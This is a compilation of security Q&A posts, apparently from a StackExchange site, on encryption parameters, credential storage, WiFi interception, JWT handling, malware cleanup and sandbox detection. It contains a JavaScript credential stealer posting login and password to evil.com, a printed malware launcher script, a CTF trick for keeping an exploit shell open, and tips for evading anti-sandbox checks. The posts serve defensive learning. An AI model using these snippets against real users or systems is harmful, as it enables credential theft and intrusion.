Properly encrypt using AES-256 in CBC mode? For the purpose of the tool I am currently writing, I need to perform some AES encryption/decryption on some input. It's like a pipeline: you feed it data, it runs the algorithm and pass it out to the next modifier.

I'm used to openssl enc -aes-256-cbc to encrypt and decrypt everything. My understanding of this is, it first derive the key you enter using some kind of pbkdf-sha1 with some 8 bytes generated salt, then derive the iv from the derived key + salt.

It obviously only works with OpenSSL since I wasn't able to find any standard regarding how to communicate – or write to file – the iv and salt parameters. I was expecting some kind of RFC (like for elliptic curve parameters) but no luck.

My idea is to have a 64 bytes header: salt + iv first in the file, then it is followed by the encrypted data. I will use the salt with pbkdf2-sha256 to derive the key.

The headers don't have a fixed length, adjusting the right parameters when you start the program will get the salt and iv set to the right values.

I don't want to make no mistake. I was amazed how it could be the weakest link and how easy it is to recover a password from a bad key derivation and/or IV generation.

I am pretty sure every aes implementation rolls their own protocol on parameters. And I think it is sad.

I will of course be using crypto/aes from Go and their pbkdf2, always taking the random source from crypto/rand and not math/rand.

To sum up:

Is there any standard on having AES parameters like salt and iv?
Should I generate the iv or derive it from the salt || dk?

EDIT

I forgot to mention that I was going to use PKCS 5#2.0 which specify how to derive the key, but this question was more towards best practices on the iv and salt storing for broader compatibility.

First of all, the salt is not an AES parameter. You have two different primitives here:

You would have:

pbkdf(salt, password) returns aes_key
aes(iv, aes_key)

The IV size should match the block size you are using (typically 128-bit as that's the one standarised, although other block sizes are possible).

Generate a new, random, iv for each file you want to encrypt.

Every AES implementation must provide the same algorithm. The way you choose to save data on disk is what differs.

A common solution would be to simply append everything:

file_password_salt || file_iv || file_contents

However, a more future-proof solution would embed some parameter pointing to the size of the fields and the algorithm used. Or, at least, a version number (eg. v1 PBKDF1 with SHA1 and AES-128, in a few months you may want to use Argon, with Camellia…).

Then, you could decide to use a format already used by other tools, so that it is compatible with them. For example copying what OpenSSL does (see that "SALTED" string?), or making it output a zip wrapper over the aes content.


3rd Party Mail Clients on iPhone/Android and Credential Storage Normally when working with a user's credentials, i would store them locally on a device, never on a server because it creates unnecessary liability.

For example, on iPhone we have

Mail (default)
Gmail by Google
Spark by Readdle

I spoke to Google Apps support today and they say that all authentication credentials when using their app are stored locally for their gmail accounts. I am not sure how the Apple default mail client stores credentials, input would be appreciated! Spark on the other hand says that their "server needs to check and send emails from your email account for [some function's] to work. And to achieve this, we need to store your email account’s access token." Full story here.

Now i am curious

Do they really need to store my credentials on their server on iPhone, if so; is this due to iPhone only or would this be Android as well?
I have two factor enabled and an app password, is the app password what they would store? Is this my OAuth token in this case?
This seems like a great degree of trust that I have to put into a 3rd party application and that their server's don't get hacked?

Thank you very much, if i did not post in the right group; i sincerely apologize; I am simply trying to understand how 3rd party mobile mail clients work. Please point me in the right direction and i will delete this post.

After reading the linked page on Spark, I would say that the problem here is that Spark wants to be more than a mail reader. As a mail reader local to your phone or tablet, they would not need to store your credentials on their servers.

But they want to offer more. As an example they cite push notifications for new emails. For this to work, the spark server as to connect to your different mail accounts see whether new mails have arrived and push the notification to your phone. If this runs on the server, they do not have to maintain complex code on various versions of IOS and Android: the core runs of their servers and only the presentation layer runs on your phone. Running that on their servers also saves resources (CPU and mainly memory) on your phone, and also saves the volume of data exchanged with your phone.

The dark side is that your credentials for your different mail servers have to be known to their servers. And they must be known in clear text because they will have to send them to the actual mail servers.

The alternatives would be:

run all the core of Spark locally on your device. It could require a powerful device, with plenty of storage and memory and could require a lot of exchanges - unsure whether a google watch could support it... As it would require more maintenance tasks to have it on many OS versions the application would also be more expensive
get rid of all those nice features and use a mere mail reader - but aren't those nice feature what made you buy their service?

If you think that confidentiality of your mail credentials is more important than all the bells and whistles that come with Spark, do not use Spark. If you do you should use a different password for each email account that would only be used there or at the strict minimum a unique password for all the mail accounts used through Spark that would be used nowhere else.

TL/DR: the features offered by Spark actually require that their servers can read and send mail on behalf of you so they do need to have your mail account credentials. If you do not agree with that, just do not use Spark - what I would do if you ask for my advice...


Exploiting free WIFI security So I was watching some Backtrack learning videos and similar stuff, and noticed how there is always talk about getting people's information. For example if someone using unsecured WIFI you can see what pages he is browsing of even steal his Facebook session.

So as far as I understand, hacker cannot get any real value from seeing that information. Even if they steal my Facebook session and post some nonsense, they gained nothing out of it material wise, right? I mean they cannot steal my Paypal credentials because they are encrypted, all they can do is access stuff which is not that important to me in the first place.

Are there any real life examples, where hacker can get some real benefit apart from getting password to random forum or just causing harm to other person?

I mean they cannot steal my Paypal credentials because they are
  encrypted, all they can do is access stuff which is not that important
  to me in the first place.

This is a huge assumption.

An attacker could use something like sslstrip to change all references of HTTPS to HTTP. It is quite common for websites to serve content via HTTP and use an HTTPS login. The attacker would force you to use plaintext, while then retransmitting the data to the target site with SSL.

The attacker could also present your browser with a fake certificate when trying to access a secure site. While this would normally trigger a warning in your browser, it poses a security risk to most users. Companies often implement self signed certs poorly, and train their staff to acknowledge the warnings. This creates complacency that can leak into their personal life, as they are conditioned to see these warnings as nothing but a step in getting to their final destination.

So while a power user may not fall for some of the tricks posed, its quite possible that the average user could have important credentials stolen with these attacks pretty easily.


Disable HTML5 battery features HTML5 has a feature set relating to client battery status. It has been described as a privacy hole, as it can be used to track and identify web users. Research suggests the features can be used even to identify users using VPN or private browsing mode.

Which browsers are affected, and how can I disable these features?

Firefox

From Firefox 52, the battery API has been disabled and is only available to chrome/privileged code (I would assume add-ons fall into this category). For earlier versions, the battery API is enabled by default. It can be disabled by going to to about:config and setting the dom.battery.enabled to false. Changes take effect immediately on subsequent page loads.

Chrome & Android

Both the mobile and desktop version are affected. This feature is enabled by default and there doesn't seem to be any way to disable it yet, though you shouldn't be using Chrome at all if you care about privacy.

The Android browser is affected since version 40, without any way to disable it either.

Internet explorer

The feature is under consideration and isn't (yet?) implemented in any current versions.

Safari

This feature isn't currently implemented in any versions, neither desktop nor mobile.

Opera

Opera on desktop is affected, the feature is enabled without any way to disable it. Opera Mini isn't affected.

Here's a demo you can use to check whether you're vulnerable. There is also Can I use which provides fairly up to date information about which features are supported in browsers. I'll do my best to keep this answer up to date but I suggest you double check on there just in case something changed.


Where can I find an engineer who can examine an exe and verify its legitimacy? We have an exe file that our members have been using. It was submitted to VirusTotal and it returned one red flag:
How can we have the app evaluated by a 3rd party software engineer? And how likely is it the app can be evaluated accurately?

I wouldn't worry about a non-well-reputed anti-virus software's findings in comparison to other well established anti-virus vendors. Even with the reputable ones, it could be a false-positive. Vendors themselves sets the scan settings in VirusTotal and some may choose aggressive settings like, heuristics.
If you know the source of the app (i.e. the developer/vendor), you can compare the app's signature (MD5, SHA-1, etc) to the official release. You can see them in the Details table of the VirusTotal result. If it matches, then you know it is the same as the official release.
But, this does not solve the trust problem, if you do not trust the developer/vendor. The app could be malicious and seeing all greens on VirusTotal may mean nothing. Anti-virus software works based on 'virus signature'. If it is a new virus, none of the signatures will match. The next step is the heuristics and behavior analytics, and that works only so far and thus seeing all greens may not mean much for a very new virus (or a very rare virus) if it is good in stealth-mode.
It's true that VirusTotal shares samples with their security partners as mentioned by @nobody. If a file is detected by one vendor, all other non-detecting vendors receives the sample. But with so many false-positives, I don't expect a dedicated analyst to take a look at the file flagged by a non-reputable source. (My experience with them over the years is that it's normal to see 1 or 2 red flags from them.). But, if the file raises some flags through their automated internal tools, then an analyst would review. That's my guess though. But this article supports my guess, "The manual detection of viruses gave way to automated methods designed to find as many as 250 000 new malware files each day." Also, you can accomplish the same thing by using your preferred vendor's "submit a sample" link. Here is Microsoft's sample submission for example.
You can also search for these signatures in Google, AlientVault, IBM X Force, CrowdStrike etc. and see if there is any match. I just did this in Google and nothing came up. That suggests, this is either a brand new file or a custom file you made. If it is a custom ZIP, which I suspect, upload the main file (or all suspect executable), get its signature and for search that. You will see much more details (when first see, activites when run in sandbox, etc) in VirusTotal when you do that.
There are companies that specializes in analyzing malware but it will not be cheap.  You can try any of the well known anti-virus companies or an incident response firm like Carbon Black or FireEye and see how much they will charge you for a custom analysis.
If the cost is an issue, you can consider the following

Use CrowdStrike's CrowdInspect tool and see if it will pick anything suspicious on this app while it is being used.

Use AlientVaults free end point scan tool to scan your computer. It uses known IOCS (indicator of compromise) in its database contributed by many companies and individuals (open threat intelligence community)

If you are suspecting it is communicating with a malicious IP (like command and control server) and if that's all you care, you can listen to network requests from this app. If you're well versed in this, you can use free Wireshark tool. If you're not so much into this, then you can use easy to use Microsoft Sysinternal's free ProcMon tool. With ProcMon, just filter for the network event category & just for the process running for this app and monitor which IPs it is going (let it run for a week maybe). ProcMon can resolve the IPs to domain names too if you prefer (useless if resolving to a cloud provider like AWS). But, if this app is running other apps (like browser in headless mode), then you will need to listen all network events for all processes (which can be a tedious task) or first analyze what other processes it accesses to (by letting ProcMon to run with process events selection for let's say for a week). You can have someone do this part with ProcMon or Wireshark for much much less money b/c almost all security professionals and many regular IT people knows how to use these tools but very few knows how to analyze a malware executable and its code (very specialized task).


What are security issues about sending bank alerts via email/SMS? Banks offer to send alerts for each transaction happening on a customers account. My bank is offering three options: SMS alerts, email alerts and push alerts into their own app. Only sms alerts are free of charge. The other options are a very small fee each time a transaction happens.

Could scammers make much out of transaction alerts containing the transaction's IBAN, the amount and sender and recipient?

Besides that, what is the wisest choice between the options?
Email notifications could be intercepted if the scammers gain control of my email account. I might not receive emails while traveling in an area with low reception, while sms still come through.

SMS might be problematic if my phone gets stolen with the sim card. So there's no way to be informed (but also no good way to authenticate myself to the bank to halt all transactions).

The bank app is not good because it relies on me having a smart phone and an internet connection. The bank states that email and sms will be send unencrypted (as usual), this option is not clear, but it probably will be.

Which of these options offers the most unlikely scam scenarios?

Depending on the attacker, they probably won't care much about the meta data for your transactions
If someone was targeting you specifically, because you are a high profile target, then they may want this information as a part of their reconnaissance.
Assuming you are not a high profile target that needs to be concerned about attackers reading your emails, you don't have to worry too much about the emails being sent in clear text. Assuming your bank is not sending your personal information or credentials. This is more of a privacy concern than a security one.
The attacker may be more interested in intercepting One Time Passwords (OTP)
If you choose email and the attacker hacks your email account, they may set up forwarding from your email account to one they own, along with rules to "Move messages from X Bank to Trash". They would do this to get any one time passwords sent to that email address without you noticing.
Don't reuse password between your account, and set up multi-factor authentication if your email service supports it.
SIM Swapping, though more rare, poses the same threat
Using a mobile phone for communication with your bank, would require the attacker to gain control of your phone's number. Note, them stealing your physical device is not the same thing, in that case you can have your carrier prevent messages from going to that SIM/Device. SIM Swapping is technique where the attacker convinces your cell phone carrier to forward messages to a new SIM/Device--details of this attack are outside of the scope of this question. There are more details on that here.
Push notifications cannot be forwarded like the other two, but also would not be used for OTP
Push notification would not (read: should not) be used for One Time Passwords, because that would be assuming the device is already trusted, thus defeating the purpose.
The attack vector you should be most concerned with is Phishing
Which ever one you decide on, it is important not to trust notifications that come in the other forms (i.e. if you subscribed to email notification, don't trust text notification and visa versa).
Also, each one is susceptible to phishing in a different way: email will be sent to you from weird addresses pretending to be your bank, same with text messages, push notifications may be sent from another app pretending to be the banks app. Each one of these phishing vectors require you to take certain precautions:

Always confirm the address of the sender, before clicking on links or downloading the remote content of an email
Do not reply with your credentials or personal information in any correspondence with your bank, via email or text (your bank should not ask you to do this for any reason)
Don't download apps you don't trust
Don't visiting websites you don't trust while logged in to your bank
Research Phishing and how to prevent it, because it is mostly about being cautious, which judging by your question you already are

All three have vulnerabilities
It seems you already know this, but no method is perfect, and each one presents its own risks. It will be up to you to decide which one you are most comfortable with, and be alert against phishing attempts.


Buffer Overflow CTF challenge I am having trouble solving a challenge that requires using a buffer overflow to overwrite the return address and call another function that gives a shell. The program prompts the user for input, which can be used to overflow the buffer.

I can manually overwrite the address in gdb and get the shell, however, when I attempt to input data to the program through a file, using "run < input.txt" (still in gdb) it doesn't work - I just get a segfault. Even when the memory layout after inputting the data looks exactly the same and stepping through the program does correctly return to and execute the "give_shell()" function.

Even if I only input a single character using the input file and then manually overwrite the return address it does not work. The only way I can get the shell is to enter input manually, break, overwrite the return address, and then continue.

Does anyone have any idea why the execution would be different when I manually enter the input to the program vs. sending input through a file within gdb?

Thanks.

I finally figured out what the problem was with the help of perror1. Since the execution appeared to be following the correct path when I specified the input through a file, I guessed that maybe the shell was running, but was being closed automatically. The referenced answer had a section called "Keep the stdin open after injection", which pointed me in the right direction and confirmed that the shell was indeed running.

I was able to get the shell by specifying the input like this: (cat input.txt; cat) | ./program


Renting a bedroom in a house with shared wifi, how to secure myself? I'm renting a bedroom in a house with shared wifi, and I'd like to secure myself against any network snooping. I know that using the wifi network basically opens me up to snooping of any unencrypted traffic by anybody who knows the PSK. I'd like to use ethernet only, but I have devices that are wifi-only (like my phone).

I want to install a powerline adapter and run it into a gateway router in my room, then use that to establish my own secured wifi connection. My question is, will this work to secure me against any network snooping? The router is placed in a public area, so I can tell if someone sets up a hub between the router and the cable modem. The router is a Linksys router, but I've yet to determine if DD-WRT is set up on it or not.

Your best bet for security would be a secure tunnel between the gateway router you will insert into the network and a 'safe' outside point. This could be a server you've rented, or you could use one of many VPN providers who exist.

Of course the 'safety' of said server/VPN provider is variable, but it means any traffic you send via that gateway router will be encrypted until it reaches the end point and anyone viewing it won't be able to see the cleartext.

You could also try routing over something like Tor via your gateway however I have no personal experience with this and can't advise on how useful/suitable it'd be.

Finally you could use a 'secure' proxy service too however most of these of are questionable realiablity (when using 'free' services - I've not used paid services in this regard.).


Malware script uploaded - CPU has been maxed out I received notifications that the CPU was maxed out. Using Process Manager in WHM, I could see that commands named "fuckyou" was running some kind of cron sript on our server.

The file it was calling was found in a folder I haven't uploaded my self: /home/user/.lesshts/run.sh

This is the content of that file:

#!/bin/sh
#fuckyou ;)
killall -9 kthread > /dev/null 2>&1
kill -9 `pidof kthread`> /dev/null 2>&1
sleep 5
cd /home/user/.lesshts
/home/user/.lesshts/kthread > /dev/null 2>&1

I have now deleted the folder and all files it contained. I've also killed all the processes.

Have you seen anything similar?
Apart from overloading the server, can you from the above information
understand what the intention of this was? What can it do to our server?
Most important: Do you have any idea how I can prevent malware from being uploaded to the server again?

Any information is greatly appreciated.

If you use FTP for access to files on your website, you need to be very careful.

If you store your FTP usernames and passwords on your local computer using software like FileZilla, your website can be compromised if malicious software or a Trojan is installed on your computer.

Never store credentials on your local computer.

Additionally, you should use SFTP (Secure FTP) or SSH (Secure Shell) which uses encryption, instead of FTP - FTP transfers credential and information in plain text. This means that any person or program that is “listening” in on the transmission of credentials to the FTP server, can do so relatively easily and then steal these credentials.

Credentials, such as FTP username and passwords, can be compromised by Trojans and viruses installed on the computers of unsuspecting users “sniff” the credentials being transferred over the Internet to the web server.

SSH (Secure Shell) or SFTP (Secure FTP) will avoid credential compromise from “sniffing” attacks.


How source port field in firewall rule is used Some firewalls (like the first figure in 13.1.4 in http://doc.m0n0.ch/handbook/examples.html) allow user to specify source port in a firewall rules. But in a TCP connection, the source port is randomly selected from 1024 - MAX. So my question is, why we need to have a source port field in a firewall rule? And we can see that some other firewalls do not provide a source port field in their rule format (e.g. http://www.fwbuilder.org/4.0/docs/users_guide5/global-policy.shtml)

Thank you!

One example where source port with TCP is necessary is active ftp. In this case the client (inside the firewall) listens on a kind of random port on the client for the data connection and notifies the server about this addr+port using the PORT command. The server then connects from port 20 - and this is the only restriction you can set if you need to allow active ftp.


Recover the prior contents of RAM from a turned-off PC? I've heard that if your PC is turned off, then an attacker can recover the RAM from the last session. I find this hard to believe. How could it be done?

There is an element of truth to this one - an attack was discovered which took advantage of data remanence in RAM, allowing an attacker to grab data from the RAM in a machine. There was a very short timeframe (a matter of seconds or minutes) in which to do this, but it wasn't a hack of the PC as such.

Simple Wikipedia link to Cold Boot Attack here

And the McGrew link here giving more detail


ModSecurity Rule 973338 ModSecurity blocked access due to the following:

  [msg "XSS Filter - Category 3: Javascript URI Vector"] [data "Matched
  Data: esrco found within ARGS:as_email:hearsesesrcool@yahoo.com"]
  [severity "CRITICAL"]

Why does the string esrco trigger an error?  I tried googling any javascript implications and could not find any.  Should I disable this rule?

It is the 'src' in esrco that triggers the rule.

I had to deactivate that rule, because it was impossible to forbid the string src across the whole application.


What is the risk of SQL injection using bind variables with a 'like' clause? I was doing a code review and I came across a query that looked something like this:

String sql = "SELECT * FROM users WHERE username LIKE '%' || :userName || '%'";

Seeing the string concatenation made me stop and think about this for a bit. At first glance this seems a little risky though I haven't found much discussion other than making sure the bind variable is properly escaped.

The comments on this question at stackoverflow talk about being able to get more information than intended or cause a DoS if it's not escaped but not necessarily doing any other damage.

In the case above, when do the wildcards and bind variable get concatenated and evaluated? Since the wildcards are part of the string concatenation would the bind variable need to be evaluated before or after the execution plan is created?

Alternatively, the wildcards are added as part of the bind variable:

String sql = "SELECT * FROM users WHERE username LIKE :userName";
params.addValue("userName", "%" + userName + "%");

I believe in this case the execution plan is created before the bind variable is applied leaving the variable not able to change what is executed (though it should still be escaped). However, the first example above doesn't seem quite so clear. Other than making sure the variable is properly escaped is there anything else to be concerned about?

Other links I looked at this morning:

https://stackoverflow.com/q/327765/416627
Are prepared statements 100% safe against SQL injection?
SQL injection with LIKE operator?
Is an SQL injection possible here?

I haven't found much discussion other than making sure the bind variable is properly escaped

Given the syntax you have presented here, it appears that ":userName" is a bind variable hence you should not be trying to escape it. If this is the case, then client binding will handle that. Nothing unusual here.

  I believe in this case the execution plan is created before the bind variable is applied

The execution plan will be created for both the queries you have shown us at the same point. That will be before the bind variable is applied for statements prepared serverside and after for statements prepared clientside - different DBMS/different bindings work differently.

  Other than making sure the variable is properly escaped

If you have established that this is a bind variable, stop trying to escape it.


Application Whitelisting Approaches/Options on non-Enterprise Windows PCs For a while now I've been kicking around the idea of implementing application whitelisting on a few sets of machines (owned by 2-3 different consulting clients) I administer that seem suitable for it.  These PCs handle sensitive data (PCI-covered card info, for instance), but an employee using one of them to work with that information almost never needs to go beyond using only one or two selected desktop line-of-business programs to do so. Thus, an application whitelisting mechanism (as part of defense-in-depth) would seem like a natural possibility to consider. Implementing one would be to serve the twin purposes of (a) putting in place a technical block on the ability of users to--contrary to policy-- install or use programs like browsers or IM apps that can have very serious implications on exposure to malware-infection vectors, as well as (b) for actually (hopefully) making it much less likely that any malicious code that did make it on to one of these PCs could run successfully or install persisting malware elements on the machine.

The rub is this: these machines are all running either Windows 7 Professional edition or Windows 10 Professional edition. Meaning no Applocker, and no Device Guard (on Windows 10) as baked-in options. I've learned one can use this older technique to filter executables allowed to run by filename, by that doesn't strike me as being much of a stand-in for verifying a program is allowed by looking at signed code or a file hashes.  Now, of course, there are plenty of third-party application whitelisting solutions out there...and most or all I've found so far are quite expensive, often requiring purchase of an entire security suite.  Which would require me to go into internal budgeting processes with some of these customers, persuade skeptical managers, and otherwise take on a load of pain.

So, I suppose I'm asking: Are there any obvious approaches, options, etc. here that I'm missing?  Any popular free / open source options I haven't quite heard about?  Any known tricks for fiddling with Windows settings (like the filtering-by-name approach above), writing scripts, or anything similar I could do with Windows that would let me jerry-rig together something that's likely good-enough? Thoughts?

I think Software Restriction Policies are what you're looking for. It is basically the predecessor to Applocker, and it is still supported for application whitelisting or blacklisting. It isn't as powerful or comprehensive as Applocker, but on Professional versions without Applocker, it can get the job done.

See Spiceworks Guide on Deployment and Microsoft Technet Description for more details.


Storing Username in sessionStorage: bad idea? I am working on React-Django application that uses JWT for authentication. The user signs in with their username and password, the server validates and responds with JWT and username, and (currently) I am only storing the JWT in sessionStorage.

That JWT is then verified as being valid and current anytime the user navigates between protected routes. If it is still good, it is refreshed. i.e. It is sent from sessionStorage.getItem('token') to the server, a new one is sent back if the sent one is still valid, and replaces the existing one in sessionStorage. Cool.

The problem I am have run into is while I have identified the user is allowed to access, and continue accessing, these protected routes, I don't really know who they are and therefore am unable to pull data that is specific to them. (I haven't had luck with using stuff like user = request.user.username to gather who the current user is and the JWT after the initial issue of the JWT doesn't carry username along with it... from what I can tell.)

So I see two options to resolve this:

1) Store the JWT in the DB with relationship to the user and in sessionStorage so that it can be called from sessionStorage, compared against the DB, and then identify the user from that.

It seems like this might be the "safest" option to go.

2) Since the server is already sending back the username along with the JWT when the user logs in, I can just start storing both in sessionStorage. That way, I can sessionStorage.getItem('username') and requests to the server to retrieve user specific information. However, someone could sessionStorage and get their username. (The JWT's are only good for 15 minutes, and if it meets that time limit, the user is logged out, and sessionStorage.clear() is done.)

The second one, is what I am concerned about security-wise. I am far from being a security expert, so just curious what the ramifications of storing username in sessionStorage is and which of these would be "better".

EDIT: As I continue to read on the subject, I'm finding numerous guides and books that use examples where username is stored in sessionStorage. That doesn't make it right though. For example, this lovely example storing username and password in localStorage (I might be going out on a limb here, but that is a really bad idea):

https://www.daniweb.com/digital-media/ui-ux-design/threads/476533/login-and-registration-using-local-storage

Well done for thinking through the limitations of JWT. Most people don't and, as you've seen, most of the JWT tutorials on the web are horribly insecure.

One thing to note is that the delivery of a JWT to the server does not demonstrate that the originating device/browser is the one that was given the token in the first place. That is one reason JWT's should be very short lived because on their own, they are easily subject to token replay attacks. Even TLS does not guarantee freedom from a JWT replay attack - if the original PC was already compromised.

To add extra security, you need to be sure you need it. Obviously one of the reasons for using JWT is to lighten the load on the server. Adding server-side token validation and/or a session store clearly removes some of that advantage.

If you do need the extra security, you will either need to encrypt extra data into the token - e.g. ip address. Or you will need to store enough data in a session store to be able to sensibly validate that the token has come back from where you expected it to, again perhaps recording the originating IP address.

A session store is arguably more secure but probably not by much.

Your question regarding identity is easily resolved by storing the userid against the token in your session store if you are using one. If you decide you don't want additional security, then it is enough to store the id in the token as long as the token values are encrypted on the server.


Program detecting sandboxie present - How to prevent? I am having issues with a particular game, detecting the presence of the games  being run inside sandboxie (An application for running programs inside a sandbox) with the goal of running multiple instances of the game on the same computer.

The game employs techniques to detect the presence of sandboxie, and I've found information regarding this issue online to be scarce, however it seems to be down to the detection of the presence of "SbieDll.dll" in the module list of the games process. I thought about this logically and assume they are using something like the PEB_LDR_DATA structure to iterate through each of the modules and flag if the string matches "SbieDll.dll".

So there's a couple of issues with what I need to do, sandboxie is a closed source program, so I can't simply edit the name of the DLL.

So I have two questions in regard to this the first being:

What should I be doing to prevent the application from breaking when I hex edit the new name in? Should I be searching for something else beside SbieDll.dll to replace?

The second being, what other techniques may the game be employing to detect the presence of sandboxie? And if so are there any other ways I can hide that the game is in fact run by sandboxie?

I've tried to rename all instances of SbieDll.dll in all sandboxie replaced executable's and modules with a hex editor (HXD) to a filename of the same name length (Eg 1234567.dll) and also edited the PE headers using PE explorer to remove all traces of "sandboxie" from the application, however this seems to break sandboxie itself throwing the exception:

"Initialization of the dynamic link library C:\Program Files\Sandboxie\SbieDll.dll failed. The process is terminating abnormally"

I expect the game to be able to run in sandboxie with no issues.

What should I be doing to prevent the application from breaking when I
  hex edit the new name in? Should I be searching for something else
  beside SbieDll.dll to replace?

In the 80s, it was possible to open a program binary with a hex editor and change strings (on computers such as Atari ST, Amiga, etc.) and even then the size of the string had to remain the same... In today's operating systems, it is possible  to change some strings in an .exe, but that will tamper the exe’s Code Signing Certificate (if there is one) and provided you overcome counter measures taken (such as obfuscating these strings) weren't taken.

  The second being, what other techniques may the game be employing to
  detect the presence of sandboxie? And if so are there any other ways I
  can hide that the game is in fact run by sandboxie?

Other techniques commonly used are:

Anti debugging
There are many ways to detect a debugger running and the simples one is calling the IsDebuggerPresent function. This function detects if the calling process is being debugged by a user-mode debugger.
Anti breakpoints
It's very hard to reverse engineer software without breakpoints. Popular anti-reverse engineering tactics are based on detecting breakpoints, providing a series of corresponding anti-debugging methods.
Bypassing NtQueryInformationProcess checks
Probably the method used to detect Sandboxie.
To bypass it,  The values returned by the NtQueryInformationProcess function should be changed to values that don't indicate the presence of a debugger.
Obfuscation in your case, making it hard to find the string “SbieDll.dll".

In fact, you can learn more by reading what the other side if this endless battle has to offer, for example PELock.
They have dedicated functionality to prevent game hacking.

To sum up, the only way is to some how overcome these protection methods, reverse engineer the entire software, disassemble it, then make the changes at the source code level, and rebuild it.


Prevent javascript cross-origin redirect by window.location.href Following this question, is there a way to prevent this code from redirecting users to domains not whitelisted?

const form = document.getElementsByTagName('form')[0];

form.addEventListener('submit', stealCredentials);

function stealCredentials() {
    const login = document.getElementsByName('login')[0].value;
    const password = document.getElementsByName('password')[0].value;

    window.location.href = 'http://evil.com/?login=' + login + '&password=' + password
}

Is there a clean way to do it? Like Content Security Policy or something similar?

Sadly, it's not possible.

You can check that with the following HTML snippet where the default CSP directive is set to none (except script-src):

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline'">
<script>window.location = '?' + Math.random();</script>

Since window.location is a non-configurable property, it's not possible to rewrite / proxy it to match your needs.

Note: it's possible to listen for the beforeunload event and trying to prevent it, but the user will most likely ignore the warning message that will show up.


Is there a security risk running web apps in debug=“true”? This is a copy of the original question on Stack Overflow which didn't get much love and is probably more relevant here:

There are plenty of performance reasons why apps shouldn't be run in debug="true" mode (good rundown from Scott Gu), but are there any attack vectors exposed by this practice? It's not a question of "should you or shouldn't you", that much is clear, it's a question of whether it introduces any specific vulnerabilities.

I'm inclined to think that the ability to remotely detect it combined with the known performance issues could lead to an exploit against service availability but I'd like something a bit more definite. Does anyone know of a specific attack that can be orchestrated against an app running debug="true"?

I've had some interesting feedback on this question both here and on Stack Overflow. There have been lots of responses related to stack traces (a custom errors issue, not a debug issue) and performance (not [directly] a security issue).

The most compelling response is that conditional compilation constants (#if DEBUG...) could cause unexpected behavior, but this again is more of a functionality risk (unintended code being executed in a live environment), than a security risk.

I suspect debug mode may open some pathways to other exploits based on the performance overhead it places on the app and the ability to remotely detect it (service continuity risk, perhaps). I've written up my conclusions as part of OWASP Top 10 for .NET developers part 6: Security Misconfiguration.

So for the sake of completeness, the answer appears to be that there is no clear security risk from running in debug mode, but it certainly isn't a good idea for production apps given the factors mentioned above.


is there a low-overhead way to log every new file created on a Linux host? I know about inotify but am concerned it would use too many resources.

Is there a better way to monitor a fairly static system (like a web host) for new and unexpected files being created?

Inotify monitors directories individually. To monitor a directory tree, you need to monitor each subdirectory, and to attach to new subdirectories when they are added. I'm note sure if it's possible to do this without a race condition.

If you want to log the files that are created in a directory, there are better ways. You can put the files to watch on a loggedfs filesystem, which implements the logging in userland. Alternatively, you can use the kernel audit facility. See https://unix.stackexchange.com/questions/6068/is-it-possible-to-find-out-what-program-or-script-created-a-given-file/6080#6080 for more technical information.

I don't have practical experience with either method in production, but I doubt that RAM consumption would be significant either way. There's a larger overhead with the loggedfs method which might be significant for files that are read very often but modified only occasionally, because you'll pay the overhead for all accesses, not just writes. Additionally the loggedfs method makes a shadow view of the files, and if you're worried about malware, it might bypass the shadow view and access the original, unmonitored view directly. So for your use case audit is more appropriate.

The rule is something like (untested)

auditctl -a exit,always -F path=/var/www -p w

This gives you real-time logging, which may or may not be useful. I suspect that the detailed information would be useful for forensics, but not so much for alerts, because you'd have too much detail to sift through, but that really depends on the patterns of changes. There are programs that list files on demand and report changes since the last run, for example AIDE and Tripwire. They fit in th general class of intrusion detection systems, and more advanced software definitely exists, but this isn't a topic that I'm familiar with.


Hardware-restricted root login I was thinking about how security on my Linux server can be increased and came up with this question: If most intrusions are performed by gaining remote access to machines, would it be possible and sensible to restrict admin user or maybe even root login by a hardware device? Meaning that it wouldn't be possible to log in as root if, for example, a certain USB device is not attached to server. Would that make sense or maybe even increase the complexity more than security?

The server is being administrated without any remote access/SSH.

In addition, I would add that most attackers don't directly log in via the console or ssh, but instead use bugs in other software in order to break out into a root shell or elevate their privileges. Adding 2-factor authentication or other mechanisms will definitely improve your security posture, but must be viewed as part of a larger overall hardening strategy.


Are saved passwords in browsers secure, when stored online? Where are saved passwords stored if you login to a browser, so they sync whenever you login to that browser on another device. Where and how do Google, Firefox etc. save the passwords? Obviously its not on ones own computer if you have to login to get bookmarks, passwords etc. synced. What if fx. Firefoxs servers where those password databases are stored are hacked. Are they then just up for grabs? And if so, is there some way to get Google or Firefox or whatever to delete all the stuff that they have laying around?

As with pretty much everything that is managed by cloud providers, secrets management as a service is susceptible to hacking attacks, HOWEVER, I would trust Mozilla's and Google's secure secrets management capability and infrastructure security in general much more than keeping those secrets on tools running on my machine.
To your last question, all major cloud providers offer you the capability of complete deletion of sensitive information they store, and are legally bound to fulfil that obligation when you are using their products.


OpenVPN: Storage location and creation of keys/certificates? I am re-setting up some OpenVPN infrastructure to be more secure than the original and wanted some guidance.

It's noted that the best security policy is to keep the Certificate Authority (CA) offline and separate from the server, but there's not much guidance on how to achieve this.

If I have a CA, server, and client, where do all the keys/certificates (ca.key/crt, server.key/crt, client.key/crt) go?

Also, what is the best practice in the generation of these files?  I've read that they should be generated on the server, and the *.csr files can be removed once the certificate is signed.

Like this:

CA machine: ca.crt, ca.key
Server: ca.crt, server.crt, server.key
Clients: client.crt, client.key, ca.crt

Notably, ca.key does NOT go on the server. If the server is compromised, then the attacker won't get ca.key.

With easy-rsa you generate the key and certicate on the CA machine, and send them to the client. Technically you don't need to keep them, although it's a good idea to keep the certificates in case you later need to revoke them. In that case, keep them on the CA machine.


"Security through obscurity" is bad for security systems but good for spam detection. Why? I was reading a request on meta Stack Exchange: A request for an informative popup before possible serial voting. It received two seemingly well-informed answers from well-informed users, and I've clipped out the relevant bits of the answers:

  This would openly reveal the algorithms used to detect serial voting. Serial voting isn't a problem that only exists if you hit X votes but not X-1 votes. We don't know exactly the algorithm works, but imagine it was 10 votes on a single user in a week: if it warned you when you were about to do vote number 10, then anyone who wanted to manipulate votes in this way would just stop, and wait a few days until the popup stopped being shown to them.

...

  The parameters of serial-vote detection are intentionally kept private. The last thing we want to do is to tell people who intentionally engage in this behavior how to avoid detection.

To me, this looks like the telltale signs of security through obscurity, and wandering around a bit it looks like the SE site also purposely obscures our spam detection logic, though Charcoal seems to provide individual spam detection reasons for debugging purposes. It also appears other big sites obscure spam detection and vote manipulation detection logic (Amazon, Steam, and Youtube so far as I can tell)

